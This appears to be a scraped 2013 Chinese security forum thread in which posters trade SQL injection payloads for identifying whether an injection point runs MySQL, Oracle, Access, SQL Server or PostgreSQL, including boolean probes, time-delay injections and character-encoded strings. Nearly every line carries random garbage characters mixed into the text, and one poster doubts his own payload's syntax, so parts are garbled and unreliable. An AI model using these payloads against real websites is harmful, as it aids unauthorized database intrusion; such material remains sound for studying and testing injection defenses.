一个注射点如何最快速确认是什么类型数据库
/ C4 {/ V# D' t1 Y; }xsser (十根阳具有长短!!) | 2013-02-05 12:36
$ K( r3 r1 t6 R假设这么一个注射点:/ p; X# ?) f: p* k0 N& b
show.html?id=2
4 M9 K/ x6 k+ @! D# V, g4 K& smysql:id=2 and version()>0( q' J- K1 j6 O* J
oracle:id=2 and '1'||'1'='11
0 S6 q# J0 O# K! l) i其他的欢迎补充) E, m2 U; C& J: n V# A
1#4 ?; B" ?& I5 l2 ^3 A
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47: s; g+ z) l$ o- q$ s6 g, c) ^& O
Access:
8 F! V" y& e& uaNd aSc(cHr(97))=973 M1 d, K& C p, L/ b) N+ l
and exists(select id from MSysAccessObjects)
3 {! e8 f, Y0 K Z- \SQL Server:
* Z; o! b7 }0 V6 u: jand exists(select id from sysobjects)2 @3 p+ }% U" ?7 I9 ]6 q5 l
and length(user)>0
- E7 O7 J7 ~1 {4 { hMySQL:6 T |! H& j& a% W8 t
and length(user())>0
5 G) Q! }6 z/ m4 ]4 h2#/ v8 r* K+ I9 B! m
xsser (十根阳具有长短!!) | 2013-02-05 12:483 j# U9 ^& ~/ E }3 }5 b
@upload 如果这些都不是呢…
+ U/ g. ^' H9 U. K3#; V4 t. g1 R. \7 ^. y8 S
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
2 ~; C5 J7 o. Z' `3 h@xsser 不快速的,延时注入
]; g9 L6 F& [2 c2 X; g不知道这样写对不对
K4 w2 k+ g! |0 O8 `: Hmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
$ d& E2 Q! h& ~/ Amysql:id=2 and select benchmark(1e8,current_date());
0 D( W9 z& Q- i) |2 e0 y( o8 i( J4#
. l$ E7 T. ?3 Y& Uupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10! L1 h* b Q% A# z
最快的貌似是看报错信息
: L9 x8 i& ^0 Eoracle error
7 `# g& q, {+ W' tmssql error; P6 E8 E5 i" C- x% h {
mysql error
/ }6 K' Y [5 n5#
8 o% S& @1 \0 O1 R; jNimda (你们都是坏银~) | 2013-02-05 13:142 d) J* f! a7 @8 B8 m) {) ]7 }
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)8 |- X' w5 N- J; E; J0 c* Z9 D
6#
3 ?/ S# f8 `6 g/ v& j9 N* }upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
5 n1 @* x3 d" Y4 F" R( l8 a7 X' g“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:& G5 l; _3 [0 Q% G. T7 F+ D; M1 U
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符: E( `3 a0 M8 p! `) |
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。4 h+ V z- `1 S$ @
7#; _- K, x, V% Z
_Evil (HackEnd) | 2013-02-05 13:33
( \6 z9 g: A) ^! }) u7 LPostgreSQL9 a8 F8 B, Z% @- G
8#
) w% d; U v0 r8 V5 F2 P# F, Supload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
( w | w9 p5 n# }- G& t1 _切换编码 and 1=1/ f, Y6 N% E/ A# `6 \
oracle:
' c5 a4 X+ v2 R3 X& ~* d2 r hCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
5 }! B/ e" z# r6 pmssql:
; |2 O" l z' V3 U* V! i( jCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
' u$ \9 ]( t; ~$ Amysql:. i+ I2 n# l8 N* _8 z# P& E
CHAR(97, 110, 100, 32, 49, 61, 49)
9 b Y8 [1 a5 _ o9#
2 W. q1 _& U9 m) g, oxsser (十根阳具有长短!!) | 2013-02-05 14:31% N" m( n& ^2 N8 w5 @: P; z
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?3 y) j2 j: O/ l1 G
10#! D; q8 ~# `$ O. A' o
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
! J& n6 a% U/ P3 z9 p7 i@xsser 是奇葩数据库类型的么?2 C% w0 w' ]" Y* j5 q4 t
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:7 M; E0 z b8 _7 g! n- V
1.是否可以使用特定的函数来判断,该数据库特有的
4 \7 ~& h' Q& H: h1 _& _& b2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等7 Q, d- O2 h7 j5 Y* D. L+ L- O
3.是否可以编码查询& C; c4 Z1 o/ ^
4.是否显可以利用错信息2 f, [ ]% k. U: X
5.是否存在数据库某些特性辅助判断" t6 G$ U( X9 [; L( |) O+ `
个人见解- b5 }/ ~+ U1 u8 Q/ h9 l
11#
+ ?% l* y% F3 ?% S9 w小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
$ G/ z( g: I4 R/ U* d6 O! {已收藏,mssql可以直接看到错误提示的吧~
& V% L! X. u6 `. n9 d& ]12#* g0 O& d0 a' O/ i5 k
Passer_by | 2013-02-05 15:09$ D; s) [$ X Q. P8 A
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
! m8 K; `7 q0 g% J+ kfrom:http://zone.wooyun.org/content/260 |